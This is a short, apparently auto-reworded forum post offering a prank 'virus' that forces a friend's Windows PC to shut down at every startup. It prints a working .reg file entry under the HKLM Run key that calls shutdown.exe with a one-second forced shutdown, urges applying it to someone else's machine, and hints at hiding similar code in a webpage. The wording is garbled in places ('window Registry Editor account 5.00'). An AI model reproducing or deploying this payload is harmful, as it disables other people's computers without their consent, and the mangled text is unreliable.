Shutdown your friend's PC everytime it start

Thats actually simple locate this follow in text in a .reg file with run it in the dead pc: 

window Registry Editor account 5.00

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\W
indows\\CurrentVersion\\Run]
\"VIRUS\"=\"%windir%\\\\SYSTEM32\\\\SHUTDOWN.EXE -t 1 -c \\\"Howz this new Virus ah\\\" -f\"

DONT locate IT IN UR PC, I AM NOT accountable, if it happen, to you, open windows in secure mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]and remove the string value named VIRUS, restart you computer.

You can too put this in a javascript code, now add this secret code to your webpage:

Be alert, a problem of the js code is that NORTON ANTIVIRUS\'s script blocking feature may block this.
well i am also trying to find the means which execute with no any drawback. So if u have one, pls send it here.

ENJOY !!!